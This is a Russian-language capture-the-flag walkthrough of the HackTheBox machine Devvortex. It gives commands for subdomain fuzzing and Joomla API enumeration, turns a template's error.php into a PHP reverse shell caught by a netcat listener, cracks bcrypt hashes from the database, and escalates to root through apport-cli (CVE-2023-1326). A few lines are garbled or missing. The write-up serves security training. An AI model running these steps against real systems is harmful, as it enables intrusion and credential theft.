
Прохождение HackTheBox Devvortex, охватывающее фаззинг поддоменов, перечисление API Joomla, веб-шелл на основе шаблона, взлом bcrypt-хэша и повышение привилегий через Apport-CLI CVE-2023-1326.
Подробное техническое руководство, описывающее компрометацию машины Devvortex на HackTheBox. Этот путь демонстрирует фаззинг поддоменов, перечисление Joomla API, модификацию шаблона для первоначального доступа, извлечение и взлом хешей базы данных для горизонтального перемещения и эксплуатацию Apport-CLI (CVE-2023-1326) для повышения привилегий до root.
devvortex.htbdev.devvortex.htbapport-cli).Первоначально было выполнено быстрое обнаружение TCP-портов по всем портам:
nmap -Pn -n -p- --open --min-rate 5000 <TARGET_IP>
Затем было выполнено сканирование для определения служб и версий на выявленных открытых портах:
Bash
nmap -sCV --min-rate 5000 -p22,80 <TARGET_IP>
Добавьте базовый целевой домен в локальную таблицу разрешения имён:
Bash
sudo nano /etc/hosts
# Append: <TARGET_IP> devvortex.htb
Фаззинг виртуальных хостов для выявления дополнительных веб-ресурсов:
Bash
ffuf -u [http://FUZZ.devvortex.htb](http://FUZZ.devvortex.htb) -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ
Результат: Обнаружен dev.devvortex.htb. Добавлен dev.devvortex.htb в /etc/hosts.
Перечисление маршрутов на недавно обнаруженном виртуальном хосте:
Bash
ffuf -u [http://dev.devvortex.htb/FUZZ](http://dev.devvortex.htb/FUZZ) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt:FUZZ
Результат: Обнаружена конечная точка /administrator, предоставляющая доступ к порталу аутентификации администратора Joomla.
Исследование публичных конечных точек, предоставляемых REST API Joomla, для сбора конфиденциальных метрик приложения и пользователей:
Bash
curl -s [http://dev.devvortex.htb/api/index.php/v1/users?public=true](http://dev.devvortex.htb/api/index.php/v1/users?public=true)
curl -s [http://dev.devvortex.htb/api/index.php/v1/application?public=true](http://dev.devvortex.htb/api/index.php/v1/application?public=true)
Используя учётные данные, обнаруженные во время перечисления, войдите в портал /administrator Joomla:
Перейдите в System > Site Templates.
Выберите активный шаблон и откройте error.php.
Замените содержимое error.php на стандартную полезную нагрузку PHP reverse shell.
Запустите локальный слушатель netcat:
Bash
nc -lvnp 4444
Вызовите выполнение error.php, запросив несуществующую страницу или обратившись к файлу напрямую.
После подключения шелла от имени www-data запустите интерактивную PTY-сессию:
Bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
Получите доступ к локальной базе данных MySQL, используя учётные данные, извлечённые из конфигурационных файлов веб-приложения:
Bash
mysql -u lewis -p
Выполните запрос к таблице пользователей, чтобы найти сохранённые хеши учётных данных:
SQL
SHOW DATABASES;
USE joomla;
SHOW TABLES;
SELECT username, password FROM sd4fg_users;
Извлеките bcrypt-хеш пароля пользователя logan в локальный файл:
Bash
nano hash.txt
Взломайте хеш с помощью John the Ripper вместе с rockyou.txt:
Bash
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Установите постоянную SSH-сессию от имени пользователя logan с использованием взломанных учётных данных:
Bash
Bash
cat user.txt
Проверьте разрешённые бинарные файлы для пользователя logan:
Bash
sudo -l
Вывод: Пользователь может запускать /usr/bin/apport-cli от имени root.
Проверьте установленную версию apport-cli:
Bash
apport-cli --version
Проверьте /var/crash на наличие существующих файлов отчётов. Если пусто, создайте файл сбоя вручную:
Bash
echo "ProblemType: Crash" > /var/crash/.crash
Запустите apport-cli для созданного файла сбоя с помощью sudo:
Bash
sudo /usr/bin/apport-cli -c /var/crash/.crash
Нажмите v, чтобы View report.
Когда пейджер (less) загрузит содержимое, выйдите в системный шелл, введя:
Plaintext
!/bin/bash
Проверьте повышение до root:
Bash
whoami
# Output: root
Bash
cat /root/root.txt